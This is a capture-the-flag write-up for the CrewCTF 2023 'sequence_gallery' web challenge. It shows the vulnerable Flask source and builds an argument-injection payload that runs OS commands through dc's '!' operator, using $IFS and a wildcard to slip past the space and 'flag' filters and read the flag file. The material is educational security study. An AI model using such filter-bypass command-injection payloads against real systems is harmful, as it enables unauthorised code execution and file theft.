siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

sequence_gallery

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Conclusion

Overview

Background

Author : Satoooon

http://sequence-gallery.chal.crewc.tf:8080/

Enumeration

Home page:

In here, we can click the “View” button to see the output of each functions:

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|14:51:57(HKT)]
└> unzip sequence_gallery.zip 
Archive:  sequence_gallery.zip
   creating: dist/
   creating: dist/src/
  inflating: dist/src/factorial.dc   
  inflating: dist/src/fibonacchi.dc  
  inflating: dist/src/flag.txt       
  inflating: dist/src/main.py        
  inflating: dist/src/power.dc       
   creating: dist/src/templates/
  inflating: dist/src/templates/index.html  

In dist/src/main.py, we can see the web application’s logic:

import os
import sqlite3
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')
def index():
	sequence = request.args.get('sequence', None)
	if sequence is None:
		return render_template('index.html')

	script_file = os.path.basename(sequence + '.dc')
	if ' ' in script_file or 'flag' in script_file:
		return ':('

	proc = subprocess.run(
		['dc', script_file], 
		capture_output=True,
		text=True,
		timeout=1,
	)
	output = proc.stdout

	return render_template('index.html', output=output)

if __name__ == '__main__':
	app.run(host='0.0.0.0', port=8080)

In route /, when the sequence GET parameter is given, it’ll strip out all rest of the path and ONLY extract the filename. Then, it’ll append .dc to the filename. For example, parameter value power will become power.dc.

Moreover, if the sequence GET parameter’s value contains a space character ( ) or flag, it’ll return :(.

After that, it’ll use subprocess.run() method to execute a Linux command called dc, and with the sequence GET parameter’s value as the argument. Notice that the Shell argument is not provided, which means we can’t inject OS command. (Or is it :D)

Finally, use render_template() to render the output of the dc command. (render_template() is not vulnerable to Server-Side Template Injection (SSTI))

Exploitation

Now, in subprocess.run() method it doesn’t have Shell=True, however it doesn’t mean it’s not vulnerable.

Our sequence GET parameter’s value is being parsed as an argument in the dc command, thus it’s very likely to be vulnerable to argument injection:

Nice! We can now confirm it’s vulnerable to argument injection.

Hmm… I wonder what’s dc in Linux…

Let’s install and view it’s man page:

┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:01:45(HKT)]
└> sudo apt install dc
[...]
┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:01:47(HKT)]
└> man dc
[...]
DESCRIPTION
       dc  is  a  reverse-polish  desk calculator which supports unlimited precision arithmetic.  It
       also allows you to define and call macros.  Normally dc reads from the standard input; if any
       command arguments are given to it, they are filenames, and dc reads and executes the contents
       of the files before reading from standard input.  All normal output is  to  standard  output;
       all error output is to standard error.

       A  reverse-polish  calculator  stores numbers on a stack.  Entering a number pushes it on the
       stack.  Arithmetic operations pop arguments off the stack and push the results.

       To enter a number in dc, type the digits (using upper case letters A through  F  as  "digits"
       when working with input bases greater than ten), with an optional decimal point.  Exponential
       notation is not supported.  To enter a negative number, begin the number with  ``_''.   ``-''
       cannot  be  used  for this, as it is a binary operator for subtraction instead.  To enter two
       numbers in succession, separate them with spaces or newlines.  These have no meaning as  com‐
       mands.
[...]

With that said, it’s basically a calculator.

However, when I was reading the man page, I found this:

[...]
Miscellaneous
       !      Will run the rest of the line as a system command.  Note that parsing of the  !<,  !=,
              and  !>  commands take precedence, so if you want to run a command starting with <, =,
              or > you will need to add a space after the !.
[...]

Wow! So we can execute OS command? Cool!

Let’s try the following payload:

-e !id

Uhh… I forgot the space character filter.

In order to bypass the space character filter, we can try to replace the space character with anything else:

-e"!id

We bypassed the filter! However, the id command still didn’t execute…

This is because our id command hasn’t pressed the Enter key, or the new line character \n (%0a in URL encoding):

-e"!id%0a

Nice! We can now execute arbitrary OS commands!

Let’s get the flag!

-e"!cat flag.txt%0A

Uh… Wait, the filters!

This time, since the space character is executed on the system, we need to find other bypasses.

Based on my experience, some Bash jail CTF challenges have banned space character.

In Bash, we can use the $IFS special shell variable. The $IFS (Internal Field Separator) is used by the shell to determine how to do word splitting, the default value for $IFS consists of whitespace characters.

Next, we need to bypass the flag filter.

To do so, we can use the * wildcard character, which will then read all the files in the current working directory.

Hence, the final payload will be:

-e"!cat$IFS*.txt%0A

┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Web/sequence_gallery)-[2023.07.08|15:18:28(HKT)]
└> dc         
10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx
DoULikeDC?

Conclusion

What we’ve learned:

  1. Remote Code Execution Via Argument Injection With dc Command